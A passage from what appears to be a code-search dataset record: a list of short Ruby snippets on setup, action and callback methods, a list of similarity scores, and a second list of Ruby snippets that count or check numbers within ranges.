"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Metodo que devuelve el atributo texto devuelve String: cadena de texto
|
def getText
@text
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def text\n attributes.fetch(:text)\n end",
"def text\n attributes.fetch(:text)\n end",
"def text\n attributes.fetch(:text)\n end",
"def handle_text(name, attrs)\n \n end",
"def get_string(attr); end",
"def text(value)\n attributes[:text] = value\n end",
"def description; @text; end",
"def new_text\n attributes.fetch(:newText)\n end",
"def text(key, value)\n @form.setField(key.to_s, value.to_s) # Value must be a string or itext will error.\n end",
"def text(key, value)\n @form.setField(key.to_s, value.to_s) # Value must be a string or itext will error.\n end",
"def text\n @attributes.fetch('text', nil)\n end",
"def text_name\n name.to_s\n end",
"def ler_campo(campo)\n value = pdf.field(campo).value\n value = value.encode(:universal_newline => true) if value\n value\n end",
"def get_text(value, id, field, *args)\n opt = args.extract_options!\n value = value.to_s\n if value.eql?(\"\")\n msg = \"#{field} doit ne doit pas etre nul\"\n if (opt[:if_null].eql?(:error)) # generate an error if value == ''\n add_invalid(msg, id)\n nil\n elsif (opt[:if_null].eql?(:warning)) # generate an invalid if value == ''\n add_warning(msg, id)\n nil\n end\n end\n value\n end",
"def full_descripcion \n \"#{asunto.nombre} - \"+\"#{nombre}\" \n end",
"def text\n @value[:text].to_s\n end",
"def insert_text\n attributes.fetch(:insertText)\n end",
"def rich_text_attribute; end",
"def text text\n end",
"def text_edit\n attributes.fetch(:textEdit)\n end",
"def text_edit\n attributes.fetch(:textEdit)\n end",
"def text(*)\n super\n end",
"def text\n @text_utf8 ||= read_attribute(:text).dup.force_encoding(Encoding::UTF_8)\n end",
"def initialize(name, text)\r\n super(name)\r\n @text = text.to_s\r\n end",
"def text_edit_text\n attributes.fetch(:textEditText)\n end",
"def to_text\n \"#{__getobj__.to_text} (OPTIONAL)\"\n end",
"def nombre_completo\n\t\t\"#{nombre} #{apellido}\"\n\tend",
"def value_field\n \"text\"\n end",
"def nome_perfil\n \tself.descricao\n end",
"def description; attributes[:description] || attributes[:desc] end",
"def text text\n case @current_element\n when 'firstname'\n @current_person[:firstname] = text\n when 'lastname'\n @current_person[:lastname] = text\n when 'adAccount'\n @current_person[:ad_account] = text\n when 'accountId'\n @current_person[:sam_account_name] = text\n when 'workToDate'\n @current_person[:work_to_date] = text\n when 'emailAddress'\n @current_person[:email] = text\n end\n # Reset the current element som we don't pick up empty text.\n @current_element = nil\n end",
"def get_titulo\n \"#{@titulo}\" \n end",
"def get_string(field)\n field['stringValue']\n end",
"def text(str); end",
"def to_s #Salida especificada\n \"#{self.class.name}#{if self.class.name.eql?(\"TkIdent\") then \"(\\\"#{@text}\\\")\" end}#{if self.class.name.eql?(\"TkNum\") then \"(#{@text})\" end} \"\n end",
"def custom_field_text(field, text)\n frm.text_field(:name=>field).set(text)\n end",
"def text\n to_s\n end",
"def to_s\n \treturn self.nome\n\tend",
"def get_string_field(field_name)\n\t\tend",
"def special_text\n @special_text\n end",
"def text(string); end",
"def text(string); end",
"def insert_text_format\n attributes.fetch(:insertTextFormat)\n end",
"def text=(text)\n\t\tend",
"def assign_text_param_if_used(attr_name, value)\n\t\tsend \"#{attr_name}=\", value.strip.presence if value\n\tend",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def input_text(name)\n field = field_content(name)\n id = field_id(name)\n {\n id: id,\n name: name,\n label: label(field, name),\n placeholder: prop(field, 'placeholder'),\n }\n end",
"def attr_tag(text); end",
"def text_name\n put_together_name(:full).t.html_to_ascii\n end",
"def attributes text\n flow = @am.flow text.dup\n convert_flow flow\n end",
"def text\n \"STRAT\"\n end",
"def to_s\n \t\t\t\"(Nombre:#{@nombre},Proteinas:#{@proteinas},Carbohidratos:#{@carbohidratos},Lipidos:#{@Lipidos},Gei:#{@gei},Terreno:#{@terreno})\"\n \t\t\n\t\tend",
"def to_s\r\n @nome\r\n end",
"def text\n getvalue\n end",
"def to_s\n \t\"#{@nombre} #{@apellido}\"\n end",
"def textfields\n find_2_eles_attr :textfield, :secure, :text\n end",
"def to_s\n nombre\n end",
"def get_text\n return self.text\n end",
"def formal_description\n @data['formalDescription']\n end",
"def text= t\n self.criterion_type = \"text\"\n write_attribute \"text\", t\n end",
"def attr_reader_tag(text); end",
"def value_helper_text(type, text)\n value_el = Ox::Element.new(:value)\n value_el['xsi:type'] = type\n value_el << text\n value_el\n end",
"def texto_plano\n\t\tusuario.texto_plano\t\n\tend",
"def to_s\n nombre\n end",
"def attr_writer_tag(text); end",
"def description\n attributes.fetch(:description)\n end",
"def xf_text_field (object_name, method, label = nil, attrs = {})\n attrs = attrs.symbolize_keys()\n text (\"input\", object_name, method, label, attrs)\n end",
"def set_text(text); end",
"def asignar_titulo_propiedad()\n \n end",
"def string name, description: nil, mode: :nullable, policy_tags: nil, max_length: nil\n record_check!\n\n add_field name,\n :string,\n description: description,\n mode: mode,\n policy_tags: policy_tags,\n max_length: max_length\n end",
"def nombre=(val)\n self[:nombre] = val.squish if val\n end",
"def to_s\n text\n end",
"def batale_text_params\n params.require(:batale_text).permit(\n :codigo_texto, :nome_aluno, :numero_aluno,\n :idade, :sexo, :numero_estrato, :numero_coleta,\n :numero_texto, :ano_coleta, :tipo_texto, :escola_crianca,\n :serie, :turma, :texto_original, :texto_normatizado, :texto_highlighted,\n :image, :tipo_escrita\n )\n end",
"def sigla; @nome; end",
"def info_conta\n # CAMPO TAMANHO\n # agencia 3\n # conta corrente 7\n \"#{agencia}#{conta_corrente}\"\n end",
"def text\n self.title + \" -- \" + self.description\n end",
"def description\n fields['description']\n end",
"def description\n text_attribute('description')\n end",
"def text=(_arg0); end",
"def get_char(attr); end",
"def description\n 'Bibita'\n end",
"def to_s\n\t\t\"#{nombre}\"\n\tend",
"def text(text)\n @text = text\n end",
"def text=(text)\n end",
"def descr\n return text_get(2, id)\n end",
"def getText _args\n \"getText _args;\" \n end",
"def text_pax(p)\n\t \treturn \"#{p[:@name_number]} #{p[:surname]}/#{p[:given_name]} (#{p[:@passenger_type]}) #{p[:@name_reference]}\"\n\t end",
"def desc(txt)\n @@desc = txt\n end"
] |
[
"0.67464906",
"0.67464906",
"0.67464906",
"0.6493122",
"0.64860576",
"0.6385885",
"0.61663365",
"0.612635",
"0.61239064",
"0.61239064",
"0.610764",
"0.6099382",
"0.6068162",
"0.60174745",
"0.59994864",
"0.5964941",
"0.5961278",
"0.59517294",
"0.5914252",
"0.59046984",
"0.59046984",
"0.5882093",
"0.586769",
"0.5855274",
"0.58430874",
"0.5824781",
"0.58216596",
"0.5818494",
"0.58143526",
"0.57890016",
"0.5783605",
"0.5782414",
"0.5776564",
"0.57531863",
"0.5703136",
"0.5703075",
"0.56921047",
"0.56890285",
"0.5678764",
"0.5674454",
"0.5644962",
"0.5644962",
"0.56385845",
"0.562064",
"0.56182706",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5607751",
"0.5604114",
"0.5602352",
"0.56011224",
"0.55956537",
"0.55900973",
"0.55845875",
"0.55828005",
"0.55758774",
"0.5574465",
"0.5570894",
"0.55681944",
"0.5560455",
"0.55492806",
"0.5545782",
"0.55357",
"0.553018",
"0.5527622",
"0.55243444",
"0.5522064",
"0.55176544",
"0.55145204",
"0.55096626",
"0.5507709",
"0.5503671",
"0.5494228",
"0.5492555",
"0.5490532",
"0.5489117",
"0.54873586",
"0.5485228",
"0.54819727",
"0.5481814",
"0.54816365",
"0.5481556",
"0.54785997",
"0.547852",
"0.54774994",
"0.5467857",
"0.5467185",
"0.5459433",
"0.54568213",
"0.5452486"
] |
0.0
|
-1
|
Checking occurrence of give number in give range of numbers
|
def is_validated
if $start_num > $end_num
re_enter_number
else
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def count_between(list_of_integers, lower_bound, upper_bound)\ncount = 0\nrange_array = *(lower_bound..upper_bound)\nlist_of_integers.each do |i|\nif range_array.include?(i) == true\ncount += 1\nend\nend\nreturn count\nend",
"def in_ranges?(num, ranges)\n result = false\n ranges.each do |range|\n if range.include?(num)\n result = true\n end\n end\n return result\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n count = 0\n list_of_integers.each do |int|\n if (lower_bound..upper_bound).include? int\n count = count + 1\n end\n end\n return count\nend",
"def count_between(list_of_integers,lower_bound,upper_bound)\nr = Range.new(lower_bound,upper_bound)\nnew_array=[]\nlist_of_integers.each do |x|\n if r.include?(x)\n new_array.push(x)\n end\n\nend\n\nreturn new_array.length\nend",
"def included?(range, number)\n if range.exclude_end?\n number >= range.begin && number < range.end\n else\n number >= range.begin && number <= range.end\n end\nend",
"def valid_range?\n (0..@max_num).cover?(@number)\n end",
"def count_between(list_of_integers, lower_bound, upper_bound)\n\treturn 0 if list_of_integers.length == 0 || upper_bound<lower_bound\n\trange = (lower_bound..upper_bound).to_a\n\tlist_of_integers.count {|v| (lower_bound..upper_bound).include? (v)}\n\n # Your code goes here!\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n\n list_of_integers.each do |n|\n answer = 0\n if n >= lower_bound && n <= upper_bound\n answer = answer + 1\n else\n end\n\n end\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\nin_bounds = []\n\n list_of_integers.each do |num|\n if num >= lower_bound && num <= upper_bound\n in_bounds << num\n else\n \"out of bounds\"\n end\n end\n\n p in_bounds.length\n\nend",
"def check_num(number)\n if (1..10).include? number\n puts \"Valid\"\n else\n puts \"Invalid\"\n end\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n # Your code goes here!\n return 0 if list_of_integers.length == 0 || upper_bound < lower_bound\n\n numbers_between = 0\n\n list_of_integers.each { |this_integer| \n if this_integer >= lower_bound && this_integer <= upper_bound\n numbers_between += 1\n end\n }\n\n return numbers_between\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n list_of_integers.count {|x| x>= lower_bound && x <= upper_bound}\nend",
"def in_range (n)\n\tif n <1 || n> 10 \n\t\tfalse\n\telse\n\t\ttrue\n\tend\nend",
"def in_range(num)\n (0..PINS) === num\n end",
"def count_between(list_of_integers, lower_bound, upper_bound)\n if list_of_integers == []\n return 0\n end\n\n counter = 0\n list_of_integers.each { |x|\n if (x >= lower_bound) && (x <= upper_bound)\n counter += 1\n elsif\n counter += 0\n end\n }\n p counter\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n if list_of_integers.nil?\n return 0\n end\n list_of_integers.count do |integer|\n (lower_bound..upper_bound).include?(integer)\n end\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n new_array = []\n \n list_of_integers.each do |num|\n if num >= lower_bound && num <= upper_bound\n new_array.push(num)\n end\n end\n new_array.length\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\nnew_array=Array.new\nlist_of_integers.each {|x|\n if x >= lower_bound.to_i && x <= upper_bound.to_i\n new_array << x\n end}\n return new_array.length\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n #find numbers less than or equal to upper bound\n #find numbers greater than or equal to lower bound\n # how many there are\n counter = []\n list_of_integers.each do |num|\n if num >= lower_bound && num <= upper_bound\n counter.push(num)\n else\n end\n end\n return counter.length\nend",
"def run(lower, upper, validator)\n count = 0\n current_value = lower - 1\n\n # Each iteration, we skip to the next valid number in range and check whether\n # it satisfies the validator.\n while (current_value = step(current_value)) <= upper\n count += 1 if validator.call(current_value)\n end\n\n count\nend",
"def simber_count(n)\n lower_range = 10**(n - 1)\n upper_range = (10**n) - 1\n count = 0\n (lower_range..upper_range).each do |i|\n count += 1 if simber_check(i)\n end\n count\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n\treturn list_of_integers.count {|x| x >= lower_bound && x <= upper_bound}\nend",
"def is_number_valid?(n)\n puts n\n # RANGE.detect {|i| !is_whole?(n.to_f / i)}.nil?\n i = 1\n i += 1 until !is_whole?(n.to_f / i)\n i >= MAX\nend",
"def check_valid_num(index)\n (0..8).any?(index)\nend",
"def sum_of_range(array)\n value = 0\n if array[0] < array[1] == true\n value = array[0] \n elsif array[0] > array[1] == true\n value = array[1] \n end\n\n new_array = []\n 50.times do \n if value.between?(array[0], array[1]) == true\n new_array << value\n value = value + 1\n elsif value.between?(array[1], array[0]) == true\n new_array << value\n value = value + 1\n end\n end\n sum = 0\n new_array.each { |n| sum += n } \n p sum\nend",
"def req_num_case1(n1)\n case \n when 0 .. 50\n \"#{n1} is between 0 and 50\"\n when 51 .. 100\n \"#{n1} is between 51 and 100\"\n else\n \"#{n1} is above 100\"\n end\nend",
"def find_range(arr,low,high)\n arr.find_all{|item| item >=low && item <= high}.length\nend",
"def find_range(size_slab, input)\n min = size_slab.split('-')[0].to_i\n max = size_slab.split('-')[1].to_i\n (min..max).include? input.to_i\n end",
"def verify_range(value)\n a = (20...30) === value\n if a != true\n puts \"#{value} is not in range of 20 to 30\"\n else\n puts \"#{value} is in range of to 20 to 30\"\n end\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n # Your code goes here!\n return 0 if list_of_integers.length == 0\n\n flag = false\n con\n # iter array\n list_of_integers.each do |x|\n\n if x >= lower_bound || x <= upper_bound\n #flag = !flag\n new_array.push(x)\n end\n if flag == false\n list_of_integers.delete(x)\n end\n end\n return list_of_integers\nend",
"def check_include(value)\n (1..10).include?(value)\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n\tarray_length = list_of_integers.sort!.length\n\tcounter = 0\n\tlist_of_integers.each {|element| counter += 1 if element >= lower_bound && element <= upper_bound}\n\tcounter\nend",
"def check_range(a,b)\n if (20..30).include?(a)\n puts \"a is in the range (20..30).\"\n else\n puts \"a is not in the range (20..30).\"\n end\n if (20..30).include?(b)\n puts \"b is in the range (20..30).\"\n else\n puts \"b is not in the range (20..30).\"\n end\nend",
"def in_range(a, b, c)\n return ((a >= 1 && a <= 10) || (b >= 1 && b <= 10) || (c >= 1 && c <= 10));\t\nend",
"def near_hundred(n)\n (n-100).abs <= 10 || (n-200).abs <= 10\nend",
"def check_range(a)\n answer = case \n when (0 < a) && (a<= 50)\n \"Number is between 0 to 50\"\n when (51 < a) && (a <= 100)\n \"Number is between 51 to 100\"\n when (100 < a )\n \"Number is above 100\" \n else\n \"invalid\" \n end\n answer\nend",
"def limitcheck(num, lower, upper)\n (num >= lower and num <= upper) && num\n end",
"def limitcheck(num, lower, upper)\n (num >= lower and num <= upper) && num\n end",
"def count_between(list_of_integers, lower_bound, upper_bound)\n return 0 if list_of_integers.empty?\n return 0 if upper_bound < lower_bound\n\n test_num = list_of_integers.pop\n out_of_bounds = []\n solution = []\n\n if test_num > upper_bound || test_num < lower_bound\n out_of_bounds << test_num\n else\n solution << test_num\n end\n\n list_of_integers.each do |num|\n if num > upper_bound || num < lower_bound\n out_of_bounds << num\n else\n solution << num\n end\n end\n\n return solution.length\n\n # OR USE delete_if METHOD:\n # new_list = list_of_integers.delete_if {|num| num > upper_bound || num < lower_bound}\n # return new_list.length\n\nend",
"def between?(num, x, y)\n\nend",
"def numEvaluator(number_in)\n if (number_in >= 0) && (number_in <= 50)\n puts 'between 0 and 50'\n elsif (number_in >= 51) && (number_in <= 100)\n puts 'between 51 and 100'\n elsif (number_in >= 101) \n puts '>100'\n else\n puts '<0'\n end\n end",
"def prime_range(lower_bound, higher_bound)\n Prime.each(higher_bound).select {|prime| prime >= lower_bound}\nend",
"def abundant_below(num)\n (12...(num/2 +1)).select{|n| abundant_number?(n)}\nend",
"def integer?(range: (1..))\n proc do |o|\n o.is_a? String and o.is_i? and range.include?(o.to_i)\n end\n end",
"def count_between(list_of_integers, lower_bound, upper_bound)\n if list_of_integers == []\n return 0\n end\n new_array = list_of_integers.select { |x| x >= lower_bound && x <= upper_bound }\n new_array.length\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n if (list_of_integers.size != 0) && (upper_bound >= lower_bound)\n #puts \"Array size greater than 0 and upper_bound is greater than lower_bound!\"\n i = 0\n nums_between = 0\n #puts \"size of array: \" + list_of_integers.size.to_s\n for i in 0...list_of_integers.size\n num = list_of_integers[i]\n #puts \"array at index #{i} is #{num}\"\n if (lower_bound <= num) && (num <= upper_bound)\n nums_between += 1\n #puts nums_between\n end\n i += 1\n end\n return nums_between\n else\n #puts \"Array empty\"\n return 0\n end\nend",
"def count_between(array, lower_bound, upper_bound)\n\tcounter = 0\n\tnumbers = 0\n\twhile counter < array.length\n\t\tif ((array[counter] <= upper_bound) && (array[counter] >= lower_bound))\n\t\tnumbers += 1\n\t\tcounter += 1\n\t\telse\n\t\t\tcounter += 1\n\t\tend\n\tend\n\treturn numbers\nend",
"def count_between(list_of_integers, lower_bound, upper_bound)\n if list_of_integers == []\n return 0\nelsif upper_bound < lower_bound\n return 0\nend\n# sum = 0\n# sum = list_of_integers[lower_bound..upper_bound].each\n# for integer in lower_bound..upper_bound\n# p integer\n# if list_of_integers.each >= lower_bound && list_of_integers.each <= upper_bound\nnew_array = []\nlist_of_integers.each do |number| if number >= lower_bound && number <= upper_bound\nnew_array.push(number)\nend\nend\nsum = new_array.length\nsum\nend",
"def problem_5(lower_limit, upper_limit)\n searching = true\n numerator = upper_limit\n while searching == true\n numerator += 2\n searching = false\n (lower_limit..upper_limit).each do |denominator|\n searching = true unless numerator % denominator == 0\n end\n end\n return numerator\nend",
"def match_range(range, match); end",
"def in_range(a, b)\n return ((a >= 20 && a <= 30) || (b >= 20 && b <= 30));\t\nend",
"def repeated_number_ranges(arr)\n\n\nend",
"def find_valid_numbers(fields)\n bounds = fields.map { |line| line.scan(/\\d+/).map(&:to_i) }\n valid_numbers = []\n bounds.each do |set|\n pair = []\n (0..set.length - 1).step(2) { |ind| pair += (set[ind]..set[ind + 1]).to_a }\n valid_numbers << pair\n end\n valid_numbers\n end",
"def solve(range)\n valid_passwords = range.filter do |n|\n never_decrease?(n) && any_adj_group(n) { |grp| yield grp }\n end\n valid_passwords.count\nend",
"def _num_bits_in_range(bits, max, min)\n upper = bits.position + bits.size - 1\n lower = bits.position\n [upper, max].min - [lower, min].max + 1\n end",
"def numrange(num)\n if num < 0\n puts \"Your number is negative\"\n elsif num <51\n puts \"Your number is between 0 and 50 inclusive\"\n elsif num <101\n puts \"Your number is between 51 and 100 inclusive\"\n else\n puts \"Your number is greater than 100\"\n end\nend",
"def check_range(rng)\n new(rng).results\n end",
"def pickingNumbers(a)\n my_h = Hash.new(0)\n a.each do |elem|\n my_h[elem] = a.select {|x| (elem-x).abs < 2}\n end\n my_h.max_by {|i,v| v.size}[1].size - 1\nend",
"def find_index num\n return if num > size\n\n low = 1\n high = @bounds.count\n\n while low!=high do\n mid = (low+high)/2\n if @bounds[mid] <= num then\n low = mid+1\n else\n high = mid\n end\n end\n\n low\n end",
"def count_numbers_v2(from, to)\n total_numbers = (to - from).abs\n\n # handles X5\n possible_fives = total_numbers / 10\n\n # handles 5X\n possible_fifthy = total_numbers / 100\n\n # we already counted 55\n possible_fives += possible_fifthy * 8\n\n total_numbers - possible_fives\nend",
"def all_in_ranges?(nums, ranges)\n if nums.empty?\n return false\n end\n nums.each do |num|\n if !in_ranges?(num, ranges)\n return false\n end\n end\n true\nend",
"def multiples(number1, number2, range1, range2)\n (range1...range2).select { |value| value % number1 == 0 || value % number2 == 0 }.reduce(:+)\nend",
"def between(num1,num2,num3)\n return num1 <= num2 && num2 <= num3\nend",
"def check_numbers(data)\n hash = {}\n\n data.each do |number|\n integer = number.to_i\n\n if integer > 0 && integer < 10\n if hash[integer]\n return false\n else\n hash[integer] = 1\n end\n end\n end\n\n return true\nend",
"def include?(i)\n @range.include?(i)\n end",
"def solution_1\n\n sums = []\n start_point = 0\n index_number_to_check = 25\n\n while true\n \n number_to_check = INPUT[index_number_to_check]\n range = INPUT.slice(start_point,25)\n\n for i in 0..range.length - 1\n k = i + 1\n for k in k..range.length - 1\n sum_result = range[i] + range[k]\n sums << sum_result\n end\n end\n start_point +=1\n index_number_to_check +=1\n if sums.include?(number_to_check) == false\n puts \"The number is #{number_to_check}\"\n exit\n end\n sums = []\n end\n number_to_check\nend",
"def aboveOneMillionCount(num)\n idx = (1..num/2).to_a.index &->(r){combinator(num,r) > 10**6}\n return 0 unless idx\n lower = (idx + 1)\n upper = num - lower # has same combinator with lower\n upper - lower + 1 # \nend",
"def count_by_x (num1, num2)\n array = (num1..num1 * num2).to_a\n\n array.select do |num|\n num % num1 == 0\n end\nend",
"def number_range2 (number)\n\t \tcase number\n\t\twhen 0..50\n\t\tputs \"your number is between 0 and 50\"\n\t\twhen 51..100\n\t\tputs \"your number is between 51 and 100\"\n\t\telse\n\t\t\tif number < 0\n\t\t\t\tputs \"can't enter a negative number\"\n\t\t\telsif number > 100\n\t\t\t\tputs \"over 100\"\n\t\t\tend\n\t\tend\n\tend",
"def numbers(number) \n if number <= 50\n puts \"Your input value is #{number}. That number is between 0 and 50.\"\n elsif number > 50 && number <= 100 \n puts \"Your input value is #{number}. That number is between 51 and 100.\"\n else number > 100 \n puts \"Your input value is #{number}. That number is over 100.\"\n end\nend",
"def triangular_number_logic(range)\n sum = 0\n\n (1..range).each { |num| sum += num }\n sum\n end",
"def OverlappingRanges(arr)\n first_num = arr[0]\n second_num = arr[1]\n third_num = arr[2]\n forth_num = arr[3]\n first_arr = (first_num..second_num).to_a\n second_arr = (third_num..forth_num).to_a\n merged_array = first_arr.concat(second_arr)\n (merged_array.size - merged_array.uniq.size == arr[4]) ? true : false\nend",
"def check(number)\n \n end",
"def num_in_region(cell_r, cell_c, num)\n\t(0..2).each do |row|\n\t\t(0..2).each do |col|\n\t\t\tif $value_grid[row+cell_r][col+cell_c].to_i == num\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\tend\n\treturn true\nend",
"def is_a_3_dot_range?(range)\n a = range.first\n b = range.last\n range != (a..b)\nend",
"def check_position_int(input)\n step = input[:step]\n position = step[:position].to_i\n\n if (1..9).include?(position)\n Success(input)\n else\n Failure('Position should be in interval 1..9')\n end\n end",
"def nums(target, *array)\n\tarray.each_with_index do |a, x|\n\t\tarray.each_with_index do |b, y|\n\t\t\tif x > y\n\t\t\t\tif a + b == target\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn false\nend",
"def solution(range)\n ary = range.select(&:prime?).map do |n|\n n**Math.log(range.max, n).floor\n end.reduce(:*)\nend",
"def number_range(num)\n if num < 0\n puts \"Please enter a positive number only\"\n elsif num <= 50\n puts \"Range 0 - 50\"\n elsif num <= 100\n puts \"Range 51 - 100\"\n else\n puts \"Above 100\"\n end\nend",
"def search_range(nums, target)\n range_helper(nums, target, 0, nums.length)\nend",
"def between(num1, num2, num3)\n if num2 <= num1 && num1 <= num3\n return true\n elsif num2 >= num1 && num1 >= num3\n return true\n end\n return false\nend",
"def between(num1, num2, num3)\n if num1 >= num2 && num1 <= num3\n return true\n elsif num1 <= num2 && num1 >= num3\n return true\n end\n return false\nend",
"def generatePossibleCombinationsCount(low, high)\n count = 0\n for number in (low..high)\n count += 1 if testNumber(number)\n end\n count\nend",
